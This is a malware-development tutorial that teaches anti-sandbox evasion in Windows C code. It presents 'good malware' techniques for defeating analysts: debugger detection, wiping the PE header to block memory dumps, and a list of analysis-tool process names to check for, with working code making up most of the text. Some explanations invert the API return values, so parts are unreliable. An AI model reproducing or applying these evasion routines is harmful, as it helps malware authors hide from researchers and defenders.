Author: @br0sck
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣶⣶⠖⠀⠀⠲⣶⣶⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⡿⠋⠀⠀⠀⠀⠀⠀⠙⢿⣿⣦⡀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⢀⣾⣿⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⣿⣷⡀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⣾⣿⣿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣿⣷⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⣿⣿⣿⣇⣤⠶⠛⣛⣉⣙⡛⠛⢶⣄⣸⣿⣿⣿⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⢀⣀⣿⣿⣿⡟⢁⣴⣿⣿⣿⣿⣿⣿⣦⡈⢿⣿⣿⣿⣀⡀⠀⠀⠀⠀ ⠀⠀⢠⣴⣿⣿⣿⣿⡟⢰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡌⢿⣿⣿⣿⣿⣦⡄⠀⠀ ⠀⣴⣿⣿⡿⠿⢛⣻⡇⢸⡟⠻⣿⣿⣿⣿⣿⡿⠟⢻⡇⣸⣛⡛⠿⣿⣿⣿⣦⠀ ⢸⣿⡿⠋⠀⠀⢸⣿⣿⡜⢧⣄⣀⣉⡿⣿⣉⣀⣠⣼⢁⣿⣿⡇⠀⠀⠙⢿⣿⡆ ⣿⣿⠁⠀⠀⠀⠈⣿⣿⡇⣿⡿⠛⣿⣵⣮⣿⡟⢻⡿⢨⣿⣿⠀⠀⠀⠀⠈⣿⣿ ⢿⡟⠀⠀⠀⠀⠀⠘⣿⣷⣤⣄⡀⣿⣿⣿⣿⢁⣤⣶⣿⣿⠃⠀⠀⠀⠀⠀⣿⡟ ⠘⠇⠀⠀⠀⠀⠀⠀⠈⠻⣿⣿⡇⢿⣿⣿⣿⢸⣿⣿⠟⠁⠀⠀⠀⠀⠀⠀⠻⠃ ⠀⠀⢀⡀⠀⠀⠀⠀⠀⠀⠀⢩⣦⣘⡘⠋⣛⣸⡍⠁⠀⠀⠀⠀⠀⠀⢀⡀⠀⠀ ⠀⠀⠘⢿⣷⣤⣤⣄⣤⣤⣶⣿⣿⣿⡿⢿⣿⣿⣿⣷⣤⣤⣠⣤⣴⣾⡿⠁⠀⠀ ⠀⠀⠀⠀⠉⠛⠿⠿⠿⡿⠿⠿⠛⠉⠀⠀⠉⠛⠿⠿⣿⠿⠿⠿⠛⠉⠀⠀⠀⠀ ╔═══════════════[Summary]═════════════╗ ║ ║ ║ 1. Introduction ║ ║ 2. Writing Code ║ ║ 2.1 Anti-Debugging ║ ║ 2.2 Anti-Dumping ║ ║ 2.3 Suspicious Processes ║ ║ 3. Complete Code ║ ║ ║ ╚═════════════════════════════════════╝ Introduction One of the fundamental aspects of good malware is the ability to avoid executing in a controlled environment, known as sandboxes. Many malware developers implement anti-sandbox techniques in their code to prevent malware researchers from debugging and analyzing the malware. In this paper, I will present 3 techniques to implement in your code against sandboxes. Let's go! Writing Code We will write 3 functions, which are: * DebuggerPresent() - Detects if a debugger is present in the executable's process. * ErasePEHeader() - A technique to prevent dumping the executable in memory (Anti-Dumping). * SandboxSuspectProcess() - Will detect if there are some suspicious processes typical of sandboxes. Anti-Debugging For this function, we will use two Windows APIs, known as IsDebuggerPresent and CheckRemoteDebuggerPresent. Using these APIs is very simple, just implement them like this: ╔══════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════╗ ║ // 1. Debugger Present ║ ║ BOOL DebuggerPresent() { ║ ║ if (IsDebuggerPresent()) { // Check if there is a debugger present ║ ║ return 1; ║ ║ } ║ ║ ║ ║ BOOL remoteDbgPresent; ║ ║ CheckRemoteDebuggerPresent(GetCurrentProcess(), &remoteDbgPresent); // Verify that it is being debugged remotely ║ ║ if (remoteDbgPresent) { ║ ║ return 1; ║ ║ } ║ ║ ║ ║ return 0; ║ ║ } ║ ╚══════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════╝ IsDebuggerPresent: this API is part of the Windows standard library (windows.h). Its use is very simple, you just need to add it along with an "if" in a boolean function to return true or false (0 or 1), as in the code above. If there is a debugger attached to the process, it will return false, otherwise it will return true. CheckRemoteDebuggerPresent: this is another API that is part of the same library as the previous API. It is used to detect if a remote process is being debugged. If there is a debugger, it will return false, otherwise it will return true. The boolean "remoteDbgPresent" will be responsible for this state. We can call our function like this: ╔══════════════════════════════════════╗ ║ if (DebuggerPresent() != 0) { ║ ║ puts("[-] Debugger is present"); ║ ║ } ║ ╚══════════════════════════════════════╝ NOTE: If you call your function inside an "int", don't forget to add "return 1;", or if it's a "void", add "exit(0);". Anti-Dumping Anti-Dumping is a technique that prevents a user from dumping the memory of the running process, by cleaning the Portable Executable Header (PE Header). Using this technique, you may end up making it harder to reverse engineer your malware, because when the malware researcher goes through your function and tries to dump the memory of the executable process, the result will be invalid, and he will not be able to execute the dumped EXE of the process. Let's create our function for this job: ╔══════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════╗ ║ // 2. Anti-Dumping ║ ║ BOOL ErasePEHeader() { ║ ║ DWORD oldProtect = 0; ║ ║ ║ ║ char* processBaseAddress = (char*)GetModuleHandle(NULL); // Get the base address of our running EXE ║ ║ ║ ║ VirtualProtect(processBaseAddress, 4096, PAGE_READWRITE, &oldProtect); // Releases access to read and write to the pe32 header ║ ║ ║ ║ RtlZeroMemory(processBaseAddress, 4096); // Clean PE header ║ ║ ║ ║ return 0; ║ ║ } ║ ╚══════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════╝ DWORD oldProtect: we will add a DWORD variable to store the old process protect. char* processBaseAddress: this line of code will return the process handle, that is, the memory base of our executable, where it will be stored in the processBaseAddress variable. VirtualProtect: this API will be responsible for allowing reading and writing from the process base address up to 4096 bytes. RtlZeroMemory: this API will be used to fill the 4096 bytes of the PE header with zeros. You can call this function by simply writing "ErasePEHeader();". Suspicious Processes In this part, we will work with process detection based on their names, for example, the wireshark process, ollydbg, and others. To do this, we need to create a list of process names, I will provide this list and the complete code: ╔═════════════════════════════════════╗ ║ const wchar_t* sandboxProcess[] = { ║ ║ L"filemon.exe", ║ ║ L"PETools.exe", ║ ║ L"tcpview.exe", ║ ║ L"idaq.exe", ║ ║ L"regmon.exe", ║ ║ L"dumpcap.exe", ║ ║ L"LordPE.exe", ║ ║ L"idaq64.exe", ║ ║ L"httpdebugger.exe", ║ ║ L"tcpview.exe", ║ ║ L"proc_analyzer.exe", ║ ║ L"idaq.exe", ║ ║ L"procmon.exe", ║ ║ L"ResourceHacker.exe", ║ ║ L"joeboxcontrol.exe", ║ ║ L"joeboxserver.exe", ║ ║ L"ollydbg.exe", ║ ║ L"HookExplorer.exe", ║ ║ L"SysInspector.exe", ║ ║ L"autorunsc.exe", ║ ║ L"autoruns.exe", ║ ║ L"Windbg.exe", ║ ║ L"Fiddler.exe", ║ ║ L"joeboxserver.exe", ║ ║ L"ImmunityDebugger.exe", ║ ║ L"filemon.exe", ║ ║ L"sniff_hit.exe", ║ ║ L"Wireshark.exe", ║ ║ L"x64dbg.exe" ║ ║ }; ║ ╚═════════════════════════════════════╝ Now we need to create a function to get the process id of these processes: ╔════════════════════════════════════════════════════════════════════╗ ║ DWORD GetPID(LPCWSTR exeName) { ║ ║ DWORD processId = 0; ║ ║ HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); ║ ║ ║ ║ if (snap != INVALID_HANDLE_VALUE) ║ ║ { ║ ║ PROCESSENTRY32 pe32; ║ ║ pe32.dwSize = sizeof(pe32); ║ ║ ║ ║ if (Process32First(snap, &pe32)) ║ ║ { ║ ║ if (!pe32.th32ProcessID) ║ ║ Process32Next(snap, &pe32); ║ ║ do ║ ║ { ║ ║ if (!lstrcmpiW((LPCWSTR)pe32.szExeFile, exeName)) ║ ║ { ║ ║ processId = pe32.th32ProcessID; ║ ║ break; ║ ║ } ║ ║ } while (Process32Next(snap, &pe32)); ║ ║ } ║ ║ } ║ ║ CloseHandle(snap); ║ ║ ║ ║ return processId; ║ ║ } ║ ╚════════════════════════════════════════════════════════════════════╝ This function will return the process ID after finding it, if it doesn't find it, it will return 0. Now let's create the function that will go through the list of processes and see if they exist or not: ╔══════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════╗ ║ // 3. Sandbox Process ║ ║ BOOL SandboxSuspiciousProcess() { ║ ║ for (int i = 0; i < sizeof(sandboxProcess) / sizeof(sandboxProcess[0]); i++) { // Cycle through the entire list of common sandbox processes ║ ║ DWORD pid = GetPID(sandboxProcess[i]); // Get the PID of the process by name ║ ║ ║ ║ if (pid != 0) { // Checks if the returned PID is different from 0 ║ ║ return 1; // If it is different from 0, it means there is a ║ ║ } // suspicious process ║ ║ } ║ ║ ║ ║ return 0; ║ ║ } ║ ╚══════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════╝ In short, this function will go through the list of suspicious processes and get their PIDs using the "GetPID" function and store the result in the "pid" variable. If the result of the "pid" variable is not equal to 0, it means that one of the processes in the list is running, so the function will return false. If all the PIDs result in 0, it will return 0. Implement your function like this: ╔══════════════════════════════════════════════════════════════╗ ║ if (SandboxSuspiciousProcess() != 0) { ║ ║ puts("[-] There are sandbox processes on this machine"); ║ ║ } ║ ║ else { ║ ║ puts("[+] There are no suspicious processes"); ║ ║ } ║ ╚══════════════════════════════════════════════════════════════╝ Perfect! Everything is ready to be compiled and tested. Full Code The full code can be found at: https://github.com/AmoloHT/PapersArchives/tree/main/1-malware-development-detecting-sandboxes-part-1 The code is finished, now it's time to compile and run :) _--_ / -) ___/___|___ ____-----=~~///| ||||~~~==-----_____ //~////////////~/| |//|||||\\\\\\\\\\\\\ ////////////////////| |///////|\\\\\\\\\\\\\\\ /////~~~~~~~~~~~~~~~\ |.||/~~~~~~~~~~~~~~~~~`\\\\\ //~ /\\|\\ ~\\ ///W^\W\ ////|||\\\ ~~~~~~~~~~ Amolo!